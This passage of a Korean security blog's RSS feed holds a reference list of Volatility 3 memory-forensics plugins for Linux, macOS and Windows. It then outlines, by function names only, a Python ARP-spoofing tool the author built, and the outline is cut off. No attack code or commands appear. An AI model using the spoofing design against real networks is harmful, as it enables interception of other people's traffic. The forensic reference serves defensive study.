<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>grze0의 분석자료</title>
    <link>https://dlwodnr59.tistory.com/</link>
    <description>악성코드 분석, 침해사고 대응</description>
    <language>ko</language>
    <pubDate>Sat, 30 May 2026 18:53:07 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>grze0</managingEditor>
    <item>
      <title>Volatility 3 명령어 정리</title>
      <link>https://dlwodnr59.tistory.com/12</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Core / Framework&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;banners.Banners &amp;mdash; 메모리 이미지에서 Linux 커널 banner(버전 문자열) 후보를 탐색/식별할 때 사용&lt;/li&gt;
&lt;li&gt;configwriter.ConfigWriter &amp;mdash; automagic 실행 후 구성(config) 출력/저장(재현&amp;middot;자동화&amp;middot;반복 분석용)&lt;/li&gt;
&lt;li&gt;frameworkinfo.FrameworkInfo &amp;mdash; Volatility 프레임워크의 구성요소/모듈 정보 확인(환경 점검/디버깅)&lt;/li&gt;
&lt;li&gt;isfinfo.IsfInfo &amp;mdash; 사용 가능한 ISF(심볼 JSON) 파일 정보/메타데이터 확인&lt;/li&gt;
&lt;li&gt;layerwriter.LayerWriter &amp;mdash; automagic/stacker가 만든 primary layer를 파일로 덤프(레이어 재사용/검증)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Linux&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;linux.bash.Bash &amp;mdash; 메모리에서 bash 명령 이력(history) 복구&lt;/li&gt;
&lt;li&gt;linux.boottime.Boottime &amp;mdash; 부팅 시간/시스템 시작 시각 확인&lt;/li&gt;
&lt;li&gt;linux.capabilities.Capabilities &amp;mdash; 프로세스별 Linux capability(CAP_*) 확인(권한 분석)&lt;/li&gt;
&lt;li&gt;linux.check_afinfo.Check_afinfo &amp;mdash; 네트워크 프로토콜(AFINFO) 함수 포인터 훅/변조 여부 점검&lt;/li&gt;
&lt;li&gt;linux.check_creds.Check_creds &amp;mdash; 프로세스 간 credential 구조 공유 여부 점검(cred hijack 단서)&lt;/li&gt;
&lt;li&gt;linux.check_idt.Check_idt &amp;mdash; IDT 변경/후킹 여부 점검&lt;/li&gt;
&lt;li&gt;linux.check_modules.Check_modules &amp;mdash; 모듈 리스트와 sysfs(/sys/modules) 등 정보 불일치 점검(은닉 모듈 단서)&lt;/li&gt;
&lt;li&gt;linux.check_syscall.Check_syscall &amp;mdash; syscall table 후킹/변조 점검&lt;/li&gt;
&lt;li&gt;linux.ebpf.EBPF &amp;mdash; eBPF 프로그램/맵 등 eBPF 오브젝트 열거(커널 관찰/후킹 단서)&lt;/li&gt;
&lt;li&gt;linux.elfs.Elfs &amp;mdash; 프로세스별 메모리 매핑된 ELF(바이너리/라이브러리) 목록 확인&lt;/li&gt;
&lt;li&gt;linux.envars.Envars &amp;mdash; 프로세스 환경변수(Environment variables) 확인&lt;/li&gt;
&lt;li&gt;linux.graphics.fbdev.Fbdev &amp;mdash; fbdev 프레임버퍼 추출(콘솔/화면 내용 확보)&lt;/li&gt;
&lt;li&gt;linux.hidden_modules.Hidden_modules &amp;mdash; 메모리 carving으로 숨겨진 커널 모듈 탐색&lt;/li&gt;
&lt;li&gt;linux.iomem.IOMem &amp;mdash; /proc/iomem 유사 메모리/IO 맵 정보 확인&lt;/li&gt;
&lt;li&gt;linux.ip.Addr &amp;mdash; ip addr 수준의 인터페이스 주소 정보 확인&lt;/li&gt;
&lt;li&gt;linux.ip.Link &amp;mdash; ip link 수준의 인터페이스 링크 정보 확인&lt;/li&gt;
&lt;li&gt;linux.kallsyms.Kallsyms &amp;mdash; kallsyms 커널 심볼 열거&lt;/li&gt;
&lt;li&gt;linux.keyboard_notifiers.Keyboard_notifiers &amp;mdash; keyboard notifier 체인(콜백) 파싱(키로깅/후킹 단서)&lt;/li&gt;
&lt;li&gt;linux.kmsg.Kmsg &amp;mdash; 커널 로그 버퍼(kmsg/dmesg) 확인&lt;/li&gt;
&lt;li&gt;linux.kthreads.Kthreads &amp;mdash; 커널 스레드(kthread) 및 관련 함수/엔트리 확인&lt;/li&gt;
&lt;li&gt;linux.library_list.LibraryList &amp;mdash; 프로세스에 로드된 공유 라이브러리 목록 확인&lt;/li&gt;
&lt;li&gt;linux.lsmod.Lsmod &amp;mdash; 로드된 커널 모듈 목록(lsmod) 확인&lt;/li&gt;
&lt;li&gt;linux.lsof.Lsof &amp;mdash; 프로세스별 열린 파일(파일 디스크립터) 확인(lsof)&lt;/li&gt;
&lt;li&gt;linux.malfind.Malfind &amp;mdash; 주입(injection) 의심 메모리 영역 탐지(권한/패턴 기반)&lt;/li&gt;
&lt;li&gt;linux.malware.check_afinfo.Check_afinfo &amp;mdash; (동일 계열) 네트워크 프로토콜(AFINFO) 훅/변조 점검 (malware 네임스페이스로 이동된 경우)&lt;/li&gt;
&lt;li&gt;linux.malware.check_creds.Check_creds &amp;mdash; (동일 계열) cred 공유/이상 징후 점검 (malware 네임스페이스)&lt;/li&gt;
&lt;li&gt;linux.malware.check_idt.Check_idt &amp;mdash; (동일 계열) IDT 훅/변조 점검 (malware 네임스페이스)&lt;/li&gt;
&lt;li&gt;linux.malware.check_modules.Check_modules &amp;mdash; (동일 계열) 모듈 은닉/불일치 점검 (malware 네임스페이스)&lt;/li&gt;
&lt;li&gt;linux.malware.check_syscall.Check_syscall &amp;mdash; (동일 계열) syscall table 훅 점검 (malware 네임스페이스)&lt;/li&gt;
&lt;li&gt;linux.malware.hidden_modules.Hidden_modules &amp;mdash; (동일 계열) 숨김 커널 모듈 carving (malware 네임스페이스)&lt;/li&gt;
&lt;li&gt;linux.malware.keyboard_notifiers.Keyboard_notifiers &amp;mdash; (동일 계열) 키보드 notifier 체인 분석 (malware 네임스페이스)&lt;/li&gt;
&lt;li&gt;linux.malware.malfind.Malfind &amp;mdash; (동일 계열) 주입 의심 영역 탐지 (malware 네임스페이스)&lt;/li&gt;
&lt;li&gt;linux.malware.modxview.Modxview &amp;mdash; (동일 계열) 모듈 관점 통합 비교(ModXView) (malware 네임스페이스)&lt;/li&gt;
&lt;li&gt;linux.malware.netfilter.Netfilter &amp;mdash; (동일 계열) netfilter hook 열거 (malware 네임스페이스)&lt;/li&gt;
&lt;li&gt;linux.malware.tty_check.Tty_Check &amp;mdash; (동일 계열) tty 디바이스 훅 점검 (malware 네임스페이스)&lt;/li&gt;
&lt;li&gt;linux.module_extract.ModuleExtract &amp;mdash; 커널 메모리 특정 주소에서 모듈/ELF 재구성&amp;middot;추출&lt;/li&gt;
&lt;li&gt;linux.modxview.Modxview &amp;mdash; lsmod/scan/hidden 등 결과를 통합 비교해 모듈 은닉 탐지 보조&lt;/li&gt;
&lt;li&gt;linux.mountinfo.MountInfo &amp;mdash; 프로세스의 mount namespace 기준 mount point 열거&lt;/li&gt;
&lt;li&gt;linux.netfilter.Netfilter &amp;mdash; netfilter hook 열거(네트워크 후킹/필터 단서)&lt;/li&gt;
&lt;li&gt;linux.pagecache.Files &amp;mdash; 페이지 캐시 기반 파일 목록/아티팩트 확인&lt;/li&gt;
&lt;li&gt;linux.pagecache.InodePages &amp;mdash; 페이지 캐시의 inode 페이지 열거 및 복구(파일 내용 복구)&lt;/li&gt;
&lt;li&gt;linux.pagecache.RecoverFs &amp;mdash; 페이지 캐시 기반 파일시스템 복구(아카이브 형태)&lt;/li&gt;
&lt;li&gt;linux.pidhashtable.PIDHashTable &amp;mdash; PID 해시테이블 기반 프로세스 열거(리스트 워킹 우회 탐지)&lt;/li&gt;
&lt;li&gt;linux.proc.Maps &amp;mdash; /proc/&amp;lt;pid&amp;gt;/maps 수준의 메모리 매핑을 프로세스별로 출력&lt;/li&gt;
&lt;li&gt;linux.psaux.PsAux &amp;mdash; ps aux 수준 프로세스/커맨드라인 인자 출력&lt;/li&gt;
&lt;li&gt;linux.pscallstack.PsCallStack &amp;mdash; task별 콜스택/스택 흔적 열거(후킹/루트킷 분석 보조)&lt;/li&gt;
&lt;li&gt;linux.pslist.PsList &amp;mdash; 프로세스 리스트 출력(리스트 워킹 기반)&lt;/li&gt;
&lt;li&gt;linux.psscan.PsScan &amp;mdash; 메모리 스캔으로 프로세스 오브젝트 탐색(숨김/종료 흔적 포함)&lt;/li&gt;
&lt;li&gt;linux.pstree.PsTree &amp;mdash; 부모-자식 관계 기반 프로세스 트리 출력&lt;/li&gt;
&lt;li&gt;linux.ptrace.Ptrace &amp;mdash; ptrace tracer/tracee 관계 열거(디버깅/주입 단서)&lt;/li&gt;
&lt;li&gt;linux.sockstat.Sockstat &amp;mdash; 프로세스별 네트워크 연결/소켓 열거&lt;/li&gt;
&lt;li&gt;linux.tracing.ftrace.CheckFtrace &amp;mdash; ftrace 기반 훅/트레이싱 변조 탐지&lt;/li&gt;
&lt;li&gt;linux.tracing.perf_events.PerfEvents &amp;mdash; 프로세스별 perf event 오브젝트 열거&lt;/li&gt;
&lt;li&gt;linux.tracing.tracepoints.CheckTracepoints &amp;mdash; tracepoints 훅/변조 탐지&lt;/li&gt;
&lt;li&gt;linux.tty_check.tty_check &amp;mdash; tty 디바이스 훅 점검&lt;/li&gt;
&lt;li&gt;linux.vmaregexscan.VmaRegExScan &amp;mdash; 프로세스 VMA에서 정규식 패턴 스캔&lt;/li&gt;
&lt;li&gt;linux.vmayarascan.VmaYaraScan &amp;mdash; 프로세스 VMA에서 YARA 룰 스캔&lt;/li&gt;
&lt;li&gt;linux.vmcoreinfo.VMCoreInfo &amp;mdash; VMCoreInfo 테이블 열거(커널 메타정보 확인)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;macOS&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;mac.bash.Bash &amp;mdash; 메모리에서 bash 명령 이력 복구&lt;/li&gt;
&lt;li&gt;mac.check_syscall.Check_syscall &amp;mdash; syscall table 훅 점검&lt;/li&gt;
&lt;li&gt;mac.check_sysctl.Check_sysctl &amp;mdash; sysctl handler 훅 점검&lt;/li&gt;
&lt;li&gt;mac.check_trap_table.Check_trap_table &amp;mdash; Mach trap table 훅 점검&lt;/li&gt;
&lt;li&gt;mac.dmesg.Dmesg &amp;mdash; 커널 로그 버퍼 출력&lt;/li&gt;
&lt;li&gt;mac.ifconfig.Ifconfig &amp;mdash; 네트워크 인터페이스 정보(ifconfig) 출력&lt;/li&gt;
&lt;li&gt;mac.kauth_listeners.Kauth_listeners &amp;mdash; Kauth listener 목록/상태 출력(권한&amp;middot;FS 훅 단서)&lt;/li&gt;
&lt;li&gt;mac.kauth_scopes.Kauth_scopes &amp;mdash; Kauth scope 목록/상태 출력&lt;/li&gt;
&lt;li&gt;mac.kevents.Kevents &amp;mdash; 프로세스가 등록한 이벤트 핸들러(kqueue/kevent) 열거&lt;/li&gt;
&lt;li&gt;mac.list_files.List_Files &amp;mdash; 모든 프로세스의 열린 파일 디스크립터 열거&lt;/li&gt;
&lt;li&gt;mac.lsmod.Lsmod &amp;mdash; 로드된 커널 모듈 열거&lt;/li&gt;
&lt;li&gt;mac.lsof.Lsof &amp;mdash; (list_files와 유사) 열린 파일 디스크립터 열거&lt;/li&gt;
&lt;li&gt;mac.malfind.Malfind &amp;mdash; 주입 의심 메모리 영역 탐지&lt;/li&gt;
&lt;li&gt;mac.mount.Mount &amp;mdash; macOS mount에서 보는 유형의 마운트/파일시스템 정보 출력&lt;/li&gt;
&lt;li&gt;mac.netstat.Netstat &amp;mdash; 모든 프로세스의 네트워크 연결 열거(netstat)&lt;/li&gt;
&lt;li&gt;mac.proc_maps.Maps &amp;mdash; 프로세스별 메모리 매핑(proc maps) 출력(범위/권한 등)&lt;/li&gt;
&lt;li&gt;mac.psaux.Psaux &amp;mdash; 커맨드라인 인자 복구&lt;/li&gt;
&lt;li&gt;mac.pslist.PsList &amp;mdash; 프로세스 리스트 출력&lt;/li&gt;
&lt;li&gt;mac.pstree.PsTree &amp;mdash; 프로세스 트리 출력&lt;/li&gt;
&lt;li&gt;mac.socket_filters.Socket_filters &amp;mdash; 커널 socket filter 열거(네트워크 후킹 단서)&lt;/li&gt;
&lt;li&gt;mac.timers.Timers &amp;mdash; 악성 커널 타이머 존재/이상 여부 점검&lt;/li&gt;
&lt;li&gt;mac.trustedbsd.Trustedbsd &amp;mdash; TrustedBSD 모듈/정책 악성 징후 점검&lt;/li&gt;
&lt;li&gt;mac.vfsevents.VFSevents &amp;mdash; 파일시스템 이벤트 필터/감시 중인 프로세스/핸들러 열거&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Generic Scan / Timeline&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;regexscan.RegExScan &amp;mdash; 메모리에서 정규식 기반 패턴 스캔&lt;/li&gt;
&lt;li&gt;timeliner.Timeliner &amp;mdash; 시간 관련 아티팩트를 수집해 타임라인으로 정렬 출력&lt;/li&gt;
&lt;li&gt;vmscan.Vmscan &amp;mdash; Intel VT-d 구조체 스캔 및 VM volatility config 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Windows&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;windows.amcache.Amcache &amp;mdash; AmCache 기반 실행 앱 정보 추출 (deprecated일 수 있어 registry 경로 사용 권장)&lt;/li&gt;
&lt;li&gt;windows.bigpools.BigPools &amp;mdash; big page pool 목록 출력&lt;/li&gt;
&lt;li&gt;windows.callbacks.Callbacks &amp;mdash; 커널 callbacks/notification routines 열거(EDR/루트킷 단서)&lt;/li&gt;
&lt;li&gt;windows.cmdline.CmdLine &amp;mdash; 프로세스 커맨드라인 인자 출력&lt;/li&gt;
&lt;li&gt;windows.cmdscan.CmdScan &amp;mdash; Windows command history 리스트 탐색&lt;/li&gt;
&lt;li&gt;windows.consoles.Consoles &amp;mdash; Windows 콘솔 버퍼 탐색(입출력 흔적)&lt;/li&gt;
&lt;li&gt;windows.crashinfo.Crashinfo &amp;mdash; Windows crash dump 정보 출력&lt;/li&gt;
&lt;li&gt;windows.debugregisters.DebugRegisters &amp;mdash; 스레드/프로세스의 디버그 레지스터(DR0&amp;ndash;DR7 등) 관련 상태 분석(우회/훅 단서)&lt;/li&gt;
&lt;li&gt;windows.deskscan.DeskScan &amp;mdash; Desktop 인스턴스 스캔(숨김 desktop/GUI 단서)&lt;/li&gt;
&lt;li&gt;windows.desktops.Desktops &amp;mdash; Desktop 인스턴스 열거&lt;/li&gt;
&lt;li&gt;windows.devicetree.DeviceTree &amp;mdash; 드라이버/디바이스 트리 출력&lt;/li&gt;
&lt;li&gt;windows.direct_system_calls.DirectSystemCalls &amp;mdash; Direct System Call 기반 EDR 우회 기법 탐지 (deprecated alias일 수 있음; malware 경로가 본체인 경우가 있음)&lt;/li&gt;
&lt;li&gt;windows.dlllist.DllList &amp;mdash; 프로세스별 로드된 DLL 목록 출력&lt;/li&gt;
&lt;li&gt;windows.driverirp.DriverIrp &amp;mdash; 드라이버별 IRP 정보 출력(IRP 후킹 단서)&lt;/li&gt;
&lt;li&gt;windows.drivermodule.DriverModule &amp;mdash; 루트킷에 의해 숨겨진 드라이버 여부 판단&lt;/li&gt;
&lt;li&gt;windows.driverscan.DriverScan &amp;mdash; 메모리 스캔으로 드라이버 오브젝트 탐색&lt;/li&gt;
&lt;li&gt;windows.dumpfiles.DumpFiles &amp;mdash; 메모리의 캐시된 파일 내용 덤프(파일 복구)&lt;/li&gt;
&lt;li&gt;windows.envars.Envars &amp;mdash; 프로세스 환경 변수 출력&lt;/li&gt;
&lt;li&gt;windows.etwpatch.EtwPatch &amp;mdash; ETW 패치/변조(ETW disable/patch) 탐지(EDR 우회 단서)&lt;/li&gt;
&lt;li&gt;windows.filescan.FileScan &amp;mdash; 메모리 스캔으로 file object 탐색&lt;/li&gt;
&lt;li&gt;windows.getservicesids.GetServiceSIDs &amp;mdash; 프로세스 토큰의 SID 목록 출력(서비스 SID 포함 가능)&lt;/li&gt;
&lt;li&gt;windows.getsids.GetSIDs &amp;mdash; 프로세스 소유 SID 출력&lt;/li&gt;
&lt;li&gt;windows.handles.Handles &amp;mdash; 프로세스 open handle 목록 출력&lt;/li&gt;
&lt;li&gt;windows.hollowprocesses.HollowProcesses &amp;mdash; 프로세스 hollowing 징후 탐지/나열&lt;/li&gt;
&lt;li&gt;windows.iat.IAT &amp;mdash; IAT(Import Address Table) 추출로 임포트 API 목록 확인&lt;/li&gt;
&lt;li&gt;windows.indirect_system_calls.IndirectSystemCalls &amp;mdash; Indirect System Call 기반 EDR 우회 기법 탐지 (deprecated alias일 수 있음)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://windows.info.Info&quot;&gt;windows.info.Info&lt;/a&gt; &amp;mdash; 메모리 샘플의 OS/커널 정보 출력&lt;/li&gt;
&lt;li&gt;windows.joblinks.JobLinks &amp;mdash; 프로세스 Job object 링크 정보 출력&lt;/li&gt;
&lt;li&gt;windows.kpcrs.KPCRs &amp;mdash; CPU별 KPCR 구조 출력&lt;/li&gt;
&lt;li&gt;windows.ldrmodules.LdrModules &amp;mdash; 로드 모듈 정보(PEB/LDR 등) 기반 숨김 DLL/불일치 분석 보조&lt;/li&gt;
&lt;li&gt;windows.malfind.Malfind &amp;mdash; 주입 의심 메모리 범위(VAD) 출력&lt;/li&gt;
&lt;li&gt;windows.malware.direct_system_calls.DirectSystemCalls &amp;mdash; Direct System Call EDR 우회 탐지(현행 본체 플러그인인 경우)&lt;/li&gt;
&lt;li&gt;windows.malware.drivermodule.DriverModule &amp;mdash; (동일 계열) 숨김 드라이버 탐지 목적&lt;/li&gt;
&lt;li&gt;windows.malware.hollowprocesses.HollowProcesses &amp;mdash; (동일 계열) 프로세스 hollowing 탐지&lt;/li&gt;
&lt;li&gt;windows.malware.indirect_system_calls.IndirectSystemCalls &amp;mdash; Indirect System Call EDR 우회 탐지&lt;/li&gt;
&lt;li&gt;windows.malware.ldrmodules.LdrModules &amp;mdash; (동일 계열) 숨김/위장 DLL 탐지 보조&lt;/li&gt;
&lt;li&gt;windows.malware.malfind.Malfind &amp;mdash; (동일 계열) 주입 의심 메모리 범위 탐지&lt;/li&gt;
&lt;li&gt;windows.malware.pebmasquerade.PebMasquerade &amp;mdash; PEB 기반 프로세스 위장(경로/이름/파라미터 불일치) 탐지&lt;/li&gt;
&lt;li&gt;windows.malware.processghosting.ProcessGhosting &amp;mdash; Process Ghosting 기법 징후 탐지&lt;/li&gt;
&lt;li&gt;windows.malware.psxview.PsXView &amp;mdash; 여러 방법의 프로세스 결과를 비교해 숨김 프로세스 탐지&lt;/li&gt;
&lt;li&gt;windows.malware.skeleton_key_check.Skeleton_Key_Check &amp;mdash; Skeleton Key 악성 징후 탐지&lt;/li&gt;
&lt;li&gt;windows.malware.suspicious_threads.SuspiciousThreads &amp;mdash; 의심 스레드(유저랜드) 징후 나열&lt;/li&gt;
&lt;li&gt;windows.malware.svcdiff.SvcDiff &amp;mdash; 서비스 리스트/스캔 결과 비교로 숨김 서비스/루트킷 탐지&lt;/li&gt;
&lt;li&gt;windows.malware.unhooked_system_calls.UnhookedSystemCalls &amp;mdash; 프로세스의 ntdll syscall stub 구현 차이를 이용해 후킹/언후킹(EDR 우회) 징후 탐지&lt;/li&gt;
&lt;li&gt;windows.mbrscan.MBRScan &amp;mdash; MBR 후보 스캔/파싱(부트킷 단서)&lt;/li&gt;
&lt;li&gt;windows.memmap.Memmap &amp;mdash; 메모리 맵 출력(옵션에 따라 덤프에도 활용)&lt;/li&gt;
&lt;li&gt;windows.mftscan.ADS &amp;mdash; MFT ADS(Alternate Data Stream) 스캔&lt;/li&gt;
&lt;li&gt;windows.mftscan.MFTScan &amp;mdash; MFT FILE 오브젝트 스캔/출력&lt;/li&gt;
&lt;li&gt;windows.mftscan.ResidentData &amp;mdash; Resident Data 포함 MFT 레코드 스캔&lt;/li&gt;
&lt;li&gt;windows.modscan.ModScan &amp;mdash; 메모리 스캔으로 모듈 탐색(숨김/잔존 모듈 단서)&lt;/li&gt;
&lt;li&gt;windows.modules.Modules &amp;mdash; 로드된 커널 모듈 목록 출력&lt;/li&gt;
&lt;li&gt;windows.mutantscan.MutantScan &amp;mdash; mutex(mutant) 오브젝트 스캔(IOC/동기화 단서)&lt;/li&gt;
&lt;li&gt;windows.netscan.NetScan &amp;mdash; 네트워크 오브젝트 스캔(연결/소켓 아티팩트)&lt;/li&gt;
&lt;li&gt;windows.netstat.NetStat &amp;mdash; 네트워크 트래킹 구조 순회로 네트워크 상태/연결 출력&lt;/li&gt;
&lt;li&gt;windows.orphan_kernel_threads.Threads &amp;mdash; 모듈에 매핑되지 않는 orphaned kernel thread 열거(은닉 실행/루트킷 단서)&lt;/li&gt;
&lt;li&gt;windows.pe_symbols.PESymbols &amp;mdash; PE 심볼/메타정보 출력(분석 보조)&lt;/li&gt;
&lt;li&gt;windows.pedump.PEDump &amp;mdash; 메모리의 특정 주소에서 PE 덤프/추출&lt;/li&gt;
&lt;li&gt;windows.poolscanner.PoolScanner &amp;mdash; Windows pool 기반 범용 스캐너(오브젝트 탐색)&lt;/li&gt;
&lt;li&gt;windows.privileges.Privs &amp;mdash; 프로세스 토큰의 Privilege 목록 출력&lt;/li&gt;
&lt;li&gt;windows.processghosting.ProcessGhosting &amp;mdash; Process Ghosting 징후 탐지/나열(구 경로일 수 있음)&lt;/li&gt;
&lt;li&gt;windows.pslist.PsList &amp;mdash; 프로세스 리스트 출력&lt;/li&gt;
&lt;li&gt;windows.psscan.PsScan &amp;mdash; 메모리 스캔으로 프로세스 오브젝트 탐색&lt;/li&gt;
&lt;li&gt;windows.pstree.PsTree &amp;mdash; 프로세스 트리 출력&lt;/li&gt;
&lt;li&gt;windows.psxview.PsXView &amp;mdash; 여러 소스 비교로 숨김 프로세스 탐지&lt;/li&gt;
&lt;li&gt;windows.registry.amcache.Amcache &amp;mdash; AmCache 기반 실행 앱 정보 추출(권장 경로)&lt;/li&gt;
&lt;li&gt;windows.registry.certificates.Certificates &amp;mdash; 레지스트리 기반 인증서 스토어 열거&lt;/li&gt;
&lt;li&gt;windows.registry.getcellroutine.GetCellRoutine &amp;mdash; 레지스트리 hive의 GetCellRoutine 훅 여부 보고&lt;/li&gt;
&lt;li&gt;windows.registry.hivelist.HiveList &amp;mdash; 메모리의 레지스트리 hive 목록 출력&lt;/li&gt;
&lt;li&gt;windows.registry.hivescan.HiveScan &amp;mdash; 메모리 스캔으로 레지스트리 hive 탐색/복구&lt;/li&gt;
&lt;li&gt;windows.registry.printkey.PrintKey &amp;mdash; 특정 hive/키의 레지스트리 키&amp;middot;값 출력&lt;/li&gt;
&lt;li&gt;windows.registry.scheduled_tasks.ScheduledTasks &amp;mdash; 레지스트리 기반 Scheduled Tasks 정보 디코딩(트리거/액션/시간 등)&lt;/li&gt;
&lt;li&gt;windows.registry.userassist.UserAssist &amp;mdash; UserAssist 파싱(사용자 실행 흔적)&lt;/li&gt;
&lt;li&gt;windows.scheduled_tasks.ScheduledTasks &amp;mdash; windows.registry.scheduled_tasks로 **rename된 플러그인의 구 경로(deprecated alias)**일 수 있음&lt;/li&gt;
&lt;li&gt;windows.sessions.Sessions &amp;mdash; 프로세스별 세션(Session) 정보 출력&lt;/li&gt;
&lt;li&gt;windows.shimcachemem.ShimcacheMem &amp;mdash; 메모리에서 ShimCache(AppCompatCache) 항목 추출(실행 흔적)&lt;/li&gt;
&lt;li&gt;windows.skeleton_key_check.Skeleton_Key_Check &amp;mdash; Skeleton Key 악성 징후 탐지&lt;/li&gt;
&lt;li&gt;windows.ssdt.SSDT &amp;mdash; SSDT(System Service Descriptor Table) 출력(시스템 콜 훅 단서)&lt;/li&gt;
&lt;li&gt;windows.statistics.Statistics &amp;mdash; 메모리/오브젝트 통계 출력(요약/분석 보조)&lt;/li&gt;
&lt;li&gt;windows.strings.Strings &amp;mdash; strings 결과를 프로세스/메모리 위치와 매핑해 출처 추정&lt;/li&gt;
&lt;li&gt;windows.suspended_threads.SuspendedThreads &amp;mdash; Suspend된 스레드 열거(스레드 하이재킹/주입 단서)&lt;/li&gt;
&lt;li&gt;windows.suspicious_threads.SuspiciousThreads &amp;mdash; 의심 스레드 징후 나열&lt;/li&gt;
&lt;li&gt;windows.svcdiff.SvcDiff &amp;mdash; 서비스 리스트/스캔 비교로 숨김 서비스 탐지&lt;/li&gt;
&lt;li&gt;windows.svclist.SvcList &amp;mdash; services.exe의 리스트 기반 서비스 열거&lt;/li&gt;
&lt;li&gt;windows.svcscan.SvcScan &amp;mdash; 메모리 스캔으로 서비스 오브젝트 탐색&lt;/li&gt;
&lt;li&gt;windows.symlinkscan.SymlinkScan &amp;mdash; 메모리의 symlink(오브젝트 링크) 스캔&lt;/li&gt;
&lt;li&gt;windows.thrdscan.ThrdScan &amp;mdash; 메모리 스캔으로 스레드 오브젝트 탐색&lt;/li&gt;
&lt;li&gt;windows.threads.Threads &amp;mdash; 프로세스별 스레드 목록 출력&lt;/li&gt;
&lt;li&gt;windows.timers.Timers &amp;mdash; 커널 타이머/DPC 및 관련 모듈 출력(지속성/후킹 단서)&lt;/li&gt;
&lt;li&gt;windows.truecrypt.Passphrase &amp;mdash; 메모리에서 TrueCrypt 캐시 passphrase 탐색/추출&lt;/li&gt;
&lt;li&gt;windows.unhooked_system_calls.unhooked_system_calls &amp;mdash; (구 경로/alias) 후킹/언후킹된 syscall stub(EDR 우회) 탐지&lt;/li&gt;
&lt;li&gt;windows.unloadedmodules.UnloadedModules &amp;mdash; 언로드된 커널 모듈 목록 출력(흔적/루트킷 단서)&lt;/li&gt;
&lt;li&gt;windows.vadinfo.VadInfo &amp;mdash; 프로세스 VAD(가상 메모리 영역) 정보 출력&lt;/li&gt;
&lt;li&gt;windows.vadregexscan.VadRegExScan &amp;mdash; VAD에서 정규식 패턴 스캔&lt;/li&gt;
&lt;li&gt;windows.vadwalk.VadWalk &amp;mdash; VAD 트리 순회&lt;/li&gt;
&lt;li&gt;windows.vadyarascan.VadYaraScan &amp;mdash; VAD에서 YARA 룰 스캔&lt;/li&gt;
&lt;li&gt;windows.verinfo.VerInfo &amp;mdash; 메모리 내 PE의 버전 리소스 정보 출력&lt;/li&gt;
&lt;li&gt;windows.virtmap.VirtMap &amp;mdash; 가상 메모리 매핑/섹션 매핑 정보 출력(가상&amp;rarr;물리 매핑 분석 보조)&lt;/li&gt;
&lt;li&gt;windows.windows.Windows &amp;mdash; Desktop 인스턴스의 Window(윈도우 객체/GUI) 열거&lt;/li&gt;
&lt;li&gt;windows.windowstations.WindowStations &amp;mdash; Window Station 스캔/열거(GUI 세션 분석)&lt;/li&gt;
&lt;li&gt;yarascan.YaraScan &amp;mdash; YARA 룰로 메모리 스캔(커널/레이어 대상)&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>포렌식 도구</category>
      <author>grze0</author>
      <guid isPermaLink="true">https://dlwodnr59.tistory.com/12</guid>
      <comments>https://dlwodnr59.tistory.com/12#entry12comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:40:48 +0900</pubDate>
    </item>
    <item>
      <title>ARP-Soofing tool(python)</title>
      <link>https://dlwodnr59.tistory.com/11</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;진행기간&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2주 소요&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;주요 내용&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;get_my_ip()&lt;/b&gt;: 현재 자신의 IP 주소를 가져오는 함수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;get_my_mac()&lt;/b&gt;: 현재 자신의 MAC 주소를 가져오는 함수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;get_hostname(ip_address)&lt;/b&gt;: IP 주소를 입력받아 해당 IP 주소에 해당하는 호스트 이름을 가져오는 함수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;list_clear()&lt;/b&gt;: 모든 리스트 변수를 초기화하는 함수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;get_address_list()&lt;/b&gt;: 현재 네트워크 내의 모든 호스트들의 IP, MAC 주소 및 호스트 이름을 가져오는 함수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ScanThread&lt;/b&gt;: 스캔 작업을 수행하는 스레드&lt;/li&gt;
&lt;li&gt;&lt;b&gt;get_gateway()&lt;/b&gt;: 게이트웨이 IP 주소 및 MAC 주소를 가져오는 함수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;get_target()&lt;/b&gt;: 공격 대상 IP 주소 및 MAC 주소를 가져오는 함수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;start_spoofing()&lt;/b&gt;: ARP Spoofing 공격을 시작하는 함수&lt;/li&gt;
&lt;/ul&gt;
